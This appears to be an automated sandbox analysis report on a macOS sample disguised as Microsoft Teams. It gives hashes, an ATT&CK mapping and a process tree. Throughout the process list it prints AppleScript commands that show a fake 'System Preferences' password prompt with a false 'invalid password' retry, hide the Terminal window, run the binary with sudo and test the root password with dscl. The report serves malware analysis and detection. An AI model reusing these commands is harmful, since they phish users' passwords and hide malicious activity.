7120703c25575607c396391964814c0bd10811db47957750e11b97b9f3c36b5d

General

Target
MicrosoftTeams/MicrosoftTeams
Size 897KB
Sample240711-ymm9nstflb
SHA256 0ba94279ca60f4181cfe86b5951f8e5495b91a6738d212fc3ef7cff549a19bfd
MD5 d752e569363bb5a2f6c3c8ba8dbe1899
SHA1 dc259679c157316286326d4d8a63cbd2cb87b321
SHA512 b5af665e880650ed9f88f145340d3ceb6866cf9fb2eb39a8fd2e83ed23bddf13df942c1fcffb9c6f3cb23f61c2a27b5e5c516083e8d757f767aff327ebc0d19c
SSDEEP 24576:c7wXb1k4sqPQKa2TujWEpbC1uiveWMzEtf2P6q:c7wXhqSNTujWEpbC1uivehzEtf2P6
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

execution

Malware Config

Signatures

AppleScript 1 TTPs 14 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
osascript -e "tell application \"Terminal\" to set visible of front window to false"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/MicrosoftTeams/MicrosoftTeams\""
1⤵
PID:476

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/MicrosoftTeams/MicrosoftTeams\""
1⤵
PID:476

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/MicrosoftTeams/MicrosoftTeams
1⤵
PID:476
- /bin/zsh
  /bin/zsh -c /Users/run/MicrosoftTeams/MicrosoftTeams
  2⤵
  PID:477
- /Users/run/MicrosoftTeams/MicrosoftTeams
  /Users/run/MicrosoftTeams/MicrosoftTeams
  2⤵
  PID:477

/bin/sh
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:478

/bin/bash
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:478

/usr/bin/osascript
osascript -e "tell application \"Terminal\" to set visible of front window to false"
1⤵
PID:478

/usr/libexec/xpcproxy
xpcproxy com.apple.Terminal.1804
1⤵
PID:480

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
1⤵
PID:480
- /usr/bin/login
  login -pf run
  2⤵
  PID:485
- - /bin/zsh
    -zsh
    3⤵
    PID:487
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:488
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:489

/usr/libexec/xpcproxy
xpcproxy com.apple.audio.AudioComponentRegistrar
1⤵
PID:486

/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
1⤵
PID:486

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump
1⤵
PID:491

/usr/sbin/spindump
/usr/sbin/spindump
1⤵
PID:491

/usr/libexec/xpcproxy
xpcproxy com.apple.tailspind
1⤵
PID:492

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump_agent
1⤵
PID:493

/usr/libexec/tailspind
/usr/libexec/tailspind
1⤵
PID:492

/usr/libexec/spindump_agent
/usr/libexec/spindump_agent
1⤵
PID:493

/usr/libexec/xpcproxy
xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
1⤵
PID:505

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
1⤵
PID:505

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
1⤵
PID:508

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
1⤵
PID:509

/bin/sh
sh -c "mkdir /Users/root/546859258"
1⤵
PID:514

/bin/bash
sh -c "mkdir /Users/root/546859258"
1⤵
PID:514

/bin/mkdir
mkdir /Users/root/546859258
1⤵
PID:514

/bin/sh
sh -c "dscl /Local/Default -authonly root \"\""
1⤵
PID:515

/bin/bash
sh -c "dscl /Local/Default -authonly root \"\""
1⤵
PID:515

/usr/bin/dscl
dscl /Local/Default -authonly root
1⤵
PID:515

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:516

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:516

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:516

/usr/libexec/xpcproxy
xpcproxy com.apple.ViewBridgeAuxiliary
1⤵
PID:518

/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
1⤵
PID:518

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:526

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:526

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:526

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:527

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:527

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:527

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:528

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:528

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:528

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportCrash.Root
1⤵
PID:529

/System/Library/CoreServices/ReportCrash
/System/Library/CoreServices/ReportCrash daemon
1⤵
PID:529

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:530

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:530

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:532

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:532

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:532

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:533

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:533

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:533

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

AppleScript

1

T1059.002

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

data.data

Path /var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data
Size 1KB
SHA256 2e7424014d4aed6b000baaea088e4c05f7d67c2637065bcf2c2b3824cef4abc0
MD5 1ccafb8742c0bcfa2e5b057c6184b747
SHA1 112dd8d5e1b22fe5b6b36e00ca427d5b60825a52
SHA512 44191f3fc52368356af3f3d9e8fd0ecdd26ccc4e22d2f70509c53ad6101d8ab5a29118810c8235ad19c57112e573ff3fd4b247024aa9a341e9292effea4a6812
MD5 SHA1 SHA512

Submit Download

data.data

Path /var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data
Size 1KB
SHA256 4074b2127af7206d9fd4fbdeea97381de82be17d6d1a4e95c8df16b42c436e38
MD5 c897d99bbc6ac30c93b4e5706d45b256
SHA1 7ea6618957d2aa3d3a6f3a30615172ede6e5412c
SHA512 77d20aee0f94c1f94fecfd9901a971e674cb9b07e48d09bd4517a37426de8cf76b7cc93a0fb27d46823444f21a60866d65a1c369aeb6a9ec3a71a67f6d145d47
MD5 SHA1 SHA512

Submit Download

data.data

Path /var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data
Size 1KB
SHA256 18c7bb64d2ccee1fcecbf42895d4bef520d710c3eb1c3953cc0c73ccfcadf71e
MD5 e355a14c74b7050152f92d4c96a7b4cf
SHA1 ffd1cc0d5d8c161731bdff3b8f10ed79cb65f28a
SHA512 038b2fb8aca1486ea19e1148bef1a8183783262af880b0b5017b3c58b595540645f653d892e5a7ce166c7610343e6d4b5cf4bdd8091004487d35416c18a1b619
MD5 SHA1 SHA512

Submit Download

data.data

Path /var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data
Size 1KB
SHA256 83140077938ad6240a46b0fe38a465df779fac0ae4496b999eb14676192a829c
MD5 f6157481559f661decdbe910545062a4
SHA1 de6d7871c8f8c0a153a78b5c120b97e04313e8c1
SHA512 4381833f6e1025f4c66dcea020d805ea625529bc8d5b0d901c0b83ab0c0b666ed187f7a169bdc984c4502c594085990794b246f55d52cbe2f8fba99e8b4ae699
MD5 SHA1 SHA512

Submit Download

data.data

Path /var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data
Size 1KB
SHA256 469501522a4a4af415d44806903a48d8aac3facb410598508cba524f0cafa556
MD5 4945c70e0c38b814997f07524cc812d2
SHA1 2bd6977d57a5a6ab04f4fd86363a409d55fa126c
SHA512 069df54aa2b46dc04a29aef525ae895f5d40d5ba5625189713c32437052de93729f35e66938286700398184dd3dc6dd077c7d8855b3b23c6aeaab344cf8247f9
MD5 SHA1 SHA512

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads